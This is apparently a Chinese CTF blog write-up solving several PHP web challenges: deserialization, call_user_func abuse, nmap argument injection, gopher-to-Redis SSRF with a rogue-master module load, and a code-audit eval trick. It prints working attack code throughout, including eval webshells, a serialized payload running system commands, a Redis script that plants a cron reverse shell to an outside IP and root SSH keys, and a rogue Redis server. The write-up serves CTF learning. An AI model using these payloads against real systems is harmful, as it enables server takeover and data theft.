# 青龙组

# AreUSerialz (简单题)

# 源码

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

# 知识点

1, php弱比较


2, php伪协议读取文件


3, php7.1+ 版本对属性类型不敏感

# 挖链子

image-20211211171908996

这里会调用process, 跟进process()

image-20211211171946965

根据op的不同调用不同的函数, 注意 这里的2是"==" , 而destruct 里面的比较是"==="不一样
跟进write和read

image-20211211172122133

image-20211211172130813

这里直接利用read中的file_get_contents读取flag.php

# 思路

先将op设置为数值2, 绕过destruct的强比较, 然后通过read()函数进行文件读取

# php 伪协议读取文件

payload

<?php
class FileHandler {
    public $op;
    public $filename;
    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
    }
}
$a = new FileHandler();
echo serialize($a);
有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。


php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

image-20211211172923091

# 朱雀组

# phpweb (脑洞题)

image-20211211175025039

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>
<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    </p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
这题每过一段时间就会刷新,查看源码发现post了func和p , 但是我去查看了date函数,并且查看了date_timezone_set()函数, 没有联想这两个Post是什么关系

# 知识点

看到这两个联想到, func 是function  , p是payload , 也就是说这里可能存在命令执行,要联想的call_user_func


反序列化

# 读取源码

我们上传func 为 file_get_contents  , p 为  index.php

image-20211211175458216

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

# 利用 unserialize 函数

我们看到这里那么多函数被禁了,主要还是禁了system比较难受,但是问题不大,毕竟没有禁file_get_contents、cat以及serialize。

这里serialize才是重点(敲黑板!),毕竟源码里给我们提供了一个Test类

# 构造 payload

<?php
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $a = new Test();
    // $a->p = 'ls ../../../';          ==>  O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}
    // $a -> p = "find / -name 'flag*'";        ⇒  O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}
    $a -> p = 'cat /tmp/flagoefiu4r93';     //  ==>  O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
    $a -> func = 'system';
    echo (serialize($a));

image-20211213103101154

image-20211213103316239

# nmap (现学题)

image-20211213111709871

image-20211213111722488

# 源码

index.php

<?
require('settings.php');
set_time_limit(0);
if (isset($_POST['host'])):
   if (!defined('WEB_SCANS')) {
           die('Web scans disabled');
   }
   $host = $_POST['host'];
   if(stripos($host,'php')!==false){
      die("Hacker...");
   }
   $host = escapeshellarg($host);
   $host = escapeshellcmd($host);
   $filename = substr(md5(time() . rand(1, 10)), 0, 5);
   $command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
   $result_scan = shell_exec($command);
   if (is_null($result_scan)) {
      die('Something went wrong');
   } else {
      header('Location: result.php?f=' . $filename);
   }
else:
?>

settings.php

<?
# Path where all files stored
# Example values: /home/node/results/
# Or just: xml/
# Must be readble/writable for web server! so chmod 777 xml/
define('RESULTS_PATH', 'xml/');
# Nmap string arguments for web scanning
# Example: -sV -Pn
define('NMAP_ARGS', '-Pn -T4 -F --host-timeout 1000ms');
# Comment this line to disable web scans
define('WEB_SCANS', 'enable');
# URL of application
# for example: http://example.com/scanner/
# Or just: /scanner/
define('APP_URL', '/');
# Secret word to protect webface (reserved)
# Uncomment to set it!
# define('secret_word', 'passw0rd1337');
?>

# nmap 控制文件输出

估计这题的后台就是用了一条简单的拼接语句,类似于:"nmap".$cmd,之类的。
先抓个包看一下运行流程

image-20211213111839364

image-20211213111858769

首先index.php用了POST传参传过去一个host参数,然后本地又发起了一个GET请求,传了一个参数f=90131,通过修改此参数,发现PHP报错 simplexml_load_file(): I/O warning : failed to load external entity "xml/90132" in /var/www/html/result.php on line 23


simplexml_load_file() 函数是把 XML 文档载入对象中,所以初步猜想,应该是nmap将扫描的结果保存为了xml文档,然后PHP再打开该文档解析,后台命令可能为nmap -oX 127.0.0.1 ./xml/????

看了很多资料后,知道了,nmap 可以将扫描后的结果保存为文件,这个文件格式甚至可以自己决定,那岂不是可以直接尝试写一句话木马了。。。。

把 nmap 保存文件的一些方法截下来:

img

本地测试了一些,nmap 保存文件的方法

image-20211213112004415

文件的后缀可以自己决定,文件内容里还包含了我们输入的查询内容。

回到题目,之前我们猜测了 nmap 127.0.0.1 -oX ./xml/????

其中 127.0.0.1 是我们控制的,那我们尝试改成

'<?php eval($_POST["pwd"]);?> -oG 1.php'

测试后发现被拦截了,可能是 PHP 关键字被拦截了,也可能是 oG 被禁用了,先试着绕 php,后缀可以将 php 改成 phtml

文件的内容 <?php 中的 PHP 如何替换上网去查了一下,解决方法是使用短标签 <?=

最终 payload:

'<?= @eval($_POST["pwd"]);?> -oG 1.phtml'

image-20211213162655207

# 玄武组

# SSRFME

# 源码

index.php

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
首先对传入的url进行check_inner_ip检查是否为内网ip地址,这一部分限制了协议的使用,使用parse_url解析url,并使用gethostname、ip2long函数获取ip地址以及将ip地址转化为整数,不允许内网ip发送请求。

通过检查则返回safe_request_url使用curl处理。

注释提示我们应当以本地访问hint.php,我们构造如下url传入

?url=http://0.0.0.0/hint.php

image-20211213101117272

得知redis的密码是root, 考虑主从redis rce

# 脚本

ssrf-redis.py

#!/usr/local/bin python
#coding=utf8
try:
    from urllib import quote
except:
    from urllib.parse import quote
def generate_info(passwd):
    cmd=[
        "info",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
def generate_shell(filename,path,passwd,payload):
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
def generate_reverse(filename,path,passwd,payload): # centos
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
def generate_sshkey(filename,path,passwd,payload):
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):
    exp_filename="exp.so"
    cmd=[
        #第一条命令
        "SLAVEOF {} {}".format(lhost,lport),
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        #第二条命令,从主 redis 服务器上上传 exp.so 文件
        "MODULE LOAD /tmp/{}".format(exp_filename),
        #第三条命令, rce
        "system.exec {}".format(command.replace(" ","${IFS}")),
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
def rce_cleanup():
    exp_filename="exp.so"
    cmd=[
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
        "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd
def generate_payload(passwd,mode):
    payload="test"
    if mode ==0:
        filename="shell.php"
        path="/var/www/html"
        shell="\n\n<?=eval($_GET[0]);?>\n\n"
        cmd=generate_shell(filename,path,passwd,shell)
    elif mode==1:
        filename="root"
        path="/var/spool/cron/"
        shell="\n\n*/1 * * * * bash -i >& /dev/tcp/172.16.187.178/6663 0>&1\n\n"
        cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))
    elif mode==2:
        filename="authorized_keys"
        path="/root/.ssh/"
        pubkey="\n\nssh-rsa "
        cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))
    elif mode==3:
        lhost="120.79.0.164"
        lport="6666"
        command="cat /flag"  #执行命令
        cmd=generate_rce(lhost,lport,passwd,command)
    elif mode==31:
        cmd=rce_cleanup()
    elif mode==4:
        cmd=generate_info(passwd)
    protocol="gopher://"
    ip="0.0.0.0"
    port="6379"
    payload=protocol+ip+":"+port+"/_"
    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload
if __name__=="__main__":
    # 0 for webshell ; 1 for re shell ; 2 for ssh key ;
    # 3 for redis rce ; 31 for rce clean up
    # 4 for info
    # suggest cleaning up when mode 3 used
    mode=3
    # input auth passwd or leave blank for no pw
    passwd = 'root'
    p=generate_payload(passwd,mode)
    print(p)

rogue-server.py

#!/usr/local/bin python
#coding=utf8
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd
def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock
def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))
def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(address[0], address[1]))
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            print("\033[92m[+]\033[0m FULLRESYNC ...")
            flag=False
    print("\033[92m[+]\033[0m It's done")
if __name__=="__main__":
    lport=6666   #从主 redis 的 6666 端口上传 exp.so 文件
    RogueServer(lport)

# 主从 redis

先将下面三个文件放在/tmp目录下面

exp.so   rogue-server.py  ssrf-redis.py

image-20211213101314386

修改ssrf-redis.py部分地方
这里lhost 修改为自己的ip地址,6666端口不变,因为要6666端口是自己主redis服务向从redis传送exp.so文件

再写下要执行的命令

image-20211212212022698

这里ip由于被限制,修改成0.0.0.0

image-20211212212032827

将密码写入

image-20211212212102840

然后运行ssrf-redis.py生成payload
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2412%0D%0A120.79.0.164%0D%0A%244%0D%0A6666%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

image-20211213101802084

在自己主机上运行rogue-server.py服务, 注意是python2 运行

image-20211213101930644

最后将payload发送过去即可,注意二次编码

image-20211212211802330

# 总决赛

# Novel (代码审计)

# 源码

index.php

<?php
defined('DS') or define('DS', DIRECTORY_SEPARATOR);  // 定义反斜杠  '\'
define('APP_DIR', realpath('./'));       // 定义绝对路径
error_reporting(0);
function autoload_class($class){
   foreach(array('class') as $dir){
      $file = APP_DIR.DS.$dir.DS.$class.'.class.php';
      // echo $file;
      if(file_exists($file)){
         // echo $file;
         include_once $file;
      }
   }
}
function upload($config){
   $upload_config['class']=$config['class'];
   foreach(array('file','method') as $param){
      $upload_config['data'][$param]=$config[$param];
   }
   // var_dump($upload_config);
   return $upload_config;
}
function home($config){
   $home_config['class']=$config['class'];
   $home_config['data']['method']=$config['method'];
   return $home_config;
}
function back($config){
   $copy_config['class']=$config['class'];
   $copy_config['data']['method']=$config['method'];
   $copy_config['data']['filename']=$config['post']['filename'];
   $copy_config['data']['dest']=$config['post']['dest'];
   return $copy_config;
}
spl_autoload_register('autoload_class');
$request=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/'; // 获得 ip 后面的路径名称 , 例如 localhost/untitled    request 就是 /untitled
$config['get']=$_GET;
$config['post']=$_POST;
$config['file']=$_FILES;
$parameters=explode('/',explode('?', $request)[0]);
// 如果路径为  loaclhost/untitled/123/?url=http://0.0
//explode ('?', $request)[0]  为 untitled/123
//parameters 为 “untitled” “123”
$class=(isset($parameters[1]) && !empty($parameters[1]))?$parameters[1]:'home';
// echo $class;
$method=(isset($parameters[2]) && !empty($parameters[2]))?$parameters[2]:'index';
// echo $method;
// 设置路径为 http://xxx/home/index  默认为 /home/index, 类似 tp 的控制器与操作
$config['class']=$class;
$config['method']=$method;
if(!empty($class)){
   if(in_array($class, array('upload','home','back'))){
      // echo $class;
      $class_init_config=call_user_func($class, $config);
      // print_r($class_init_config);
      new $class_init_config['class']($class_init_config['data']);
   }else{
      header('Location: /');
   }
}

upload.php

<?php
class upload{
    public $file;
    public $method;
    function __construct($config){
        // echo "ccc";
        if(!empty($config['file']&&!empty($config['method']))){
            $this->file=$config['file'];
            $this->method=$config['method'];
            if(in_array($this->method, array('profile'))){
                $this->{$this->method}($this->file);
            }else{
                header('Location: /');
            }
        }else{
            header('Location: /');
        }
    }
    public function profile($file){
        if ( ($file["file"]["type"] == "text/plain")  && ($file["file"]["size"] < 200000) ){
            if ($file["file"]["error"] === 0){
                $white='.txt';
                if(substr($file["file"]["name"], -strlen($white)) === $white){
                    $filename=substr($file["file"]["name"], 0, strlen($file["file"]["name"])-strlen($white)).'.txt';
                    if (!file_exists("profile/" . $filename)){
                        move_uploaded_file($file["file"]["tmp_name"], "profile/" . $filename);
                    }
                }
            }
        }
        header('Location: /');
    }
}

back.class.php

<?php
class back{
   public $filename;
   public $method;
   public $dest;
   function __construct($config){
        $this->filename=$config['filename'];
        $this->method=$config['method'];
        $this->dest=$config['dest'];
        // var_dump($config);
        if(in_array($this->method, array('backup'))){
            $this->{$this->method}($this->filename, $this->dest);
        }else{
                header('Location: /');
        }
   }
   public function backup($filename, $dest){
      $filename='profile/'.$filename;
      if(file_exists($filename)){
         $content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
         $password=$this->random_code();
         $r['path']=$this->_write($dest, $this->_create($password, $content));
         $r['password']=$password;
         echo json_encode($r);
      }
   }
   /* 先验证保证为备份文件后,再保存为私藏文件 */
   private function _write($dest, $content){
      $f1=$dest;
      $f2='private/'.$this->random_code(10).".php";
      $stream_f1 = fopen($f1, 'w+');
      fwrite($stream_f1, $content);
      rewind($stream_f1);
      $f1_read=fread($stream_f1, 3000);
      preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);
      if(!empty($matches[0])){
         copy($f1,$f2);
         fclose($stream_f1);
         return $f2;
      }else{
         fwrite($stream_f1, '<?php exit(); ?>');
         fclose($stream_f1);
         return false;
      }
   }
   private function _create($password, $content){
      $_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
      return $_content;
   }
   private function random_code($length = 8,$chars = null){
      if(empty($chars)){
          $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
      }
      $count = strlen($chars) - 1;
      $code = '';
      while( strlen($code) < $length){
         $code .= substr($chars,rand(0,$count),1);
      }
      return $code;
   }
}

home.class.php

<?php
class home{
    public $html='<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" href="/static/css/home.css" />
    <title>Upload</title>
</head>
<body>
    <div class="wrap">
        <div class="right">
            <p class="title">文件管理</p>
                <dl class="first">
                <dt>文件名</dt>
                <dd>大小</dd>
                <dd class="wf_bgn">操作</dd>
            </dl>
            <div class="scroll">
                <ul class="" id="tableStyle">
                %s
                </ul>
            </div>
        </div>
        <div class="left">
            <div class="logo"></div>
            <div id="upload_left" class="wf_box">
                <form id="addForm" action="/upload/profile" method="post" enctype="multipart/form-data">
                    <label for="file" id="lab_file">上传文件</label>
                    <input id="file" type="file" name="file" />
                    <div id="submit_file">
                        <input id="submitAdd" type="submit"  value="Submit"/>
                    </div>
                </form>
            </div>
            <div class="wf_btn">
            <div id="spanButtonPlaceHolder"></div>
            </div>
            <p class="wf_gs">支持格式:TXT</p>
        </div>
    </div>
    <script src="/static/js/jquery.js"></script>
    <script src="/static/js/home.js"></script>
</body>
</html>';
    public $method;
    function __construct($config){
        // var_dump($config);
        $this->method=$config['method'];
        if(in_array($this->method, array('index','list'))){
            $this->{$this->method}();
        }
    }
    public function index(){
        $files=$this->list();
        $_list='';
        foreach($files as $key => $value) {
            $_list=$_list.'<li id="tr_" ><dl class="grybg"><dt>'.$key.'</dt><dd>'.$value.'</dd><dd><a>私藏</a></dd></dl></li>';
        }
        echo sprintf($this->html, $_list);
    }
    public function list(){
        $path=APP_DIR.DS.'profile';
        $handler=opendir($path);
        $files=array();
        while(($filename = readdir($handler)) !== false){
            if ($filename !== "." && $filename !== ".."){
                    $files[$filename] = filesize($path.'/'.$filename);
            }
        }
        closedir($handler);
        return $files;
    }
}

upload.class.php

<?php
class upload{
    public $file;
    public $method;
    function __construct($config){
        // echo "ccc";
        if(!empty($config['file']&&!empty($config['method']))){
            $this->file=$config['file'];
            $this->method=$config['method'];
            if(in_array($this->method, array('profile'))){
                $this->{$this->method}($this->file);
            }else{
                header('Location: /');
            }
        }else{
            header('Location: /');
        }
    }
    // 该函数经过限制后移动上传的文件到目标地址
    public function profile($file){
        if ( ($file["file"]["type"] == "text/plain")  && ($file["file"]["size"] < 200000) ){
            if ($file["file"]["error"] === 0){
                $white='.txt';
                if(substr($file["file"]["name"], -strlen($white)) === $white){
                    $filename=substr($file["file"]["name"], 0, strlen($file["file"]["name"])-strlen($white)).'.txt';
                    if (!file_exists("profile/" . $filename)){
                        move_uploaded_file($file["file"]["tmp_name"], "profile/" . $filename);
                    }
                }
            }
        }
        header('Location: /');
    }
}

# 知识点

1, 代码审计


2, php复杂语法

# 代码审计

首先看index.php

image-20211219232830193

index.php 中实现了有一个类自动加载,可以以 http://ip/class/method 的形式去调用对应类的函数,然后在 class 文件夹中有三个文件,分别为 home.class.phpupload.class.phpback.class.php ,分别对应主页、上传和备份功能的实现

再看back.class.php

image-20211219234008181

image-20211219235320105

阅读代码可以发现,程序首先将 $filename 拼接到 profile/ ,然后检测文件是否存在,若存在,将文件内容读出来进行 html 编码,然后生成一个随机的字符串作为读取文件内容的密码,之后调用 _create() 函数,将密码和 html 编码后的文件内容,拼接到 '<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ' 里,之后调用 _write() 函数,将上面这段 php 代码写进 private 目录,然后对文件内容内容进行正则表达式的检测,若通过检测,将文件内容写进 $dest ,并复制一份到 $f2 ,若没有通过检测,则在 $dest 中写入 <?php exit(); ?>

# 复杂语法

攻击思路就是上传一个 txt 的文件,然后再通过 back 生成 php 文件,开始尝试使用 "?> 闭合前面,但是不能成功, htmlspecialchars() 会将双引号和尖括号编码,之后采用复杂语法, {${phpinfo()}} 进行 rce。

# 解题

上传 miku.txt 内容为

${eval($_GET[0])}

image-20211219235830127

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝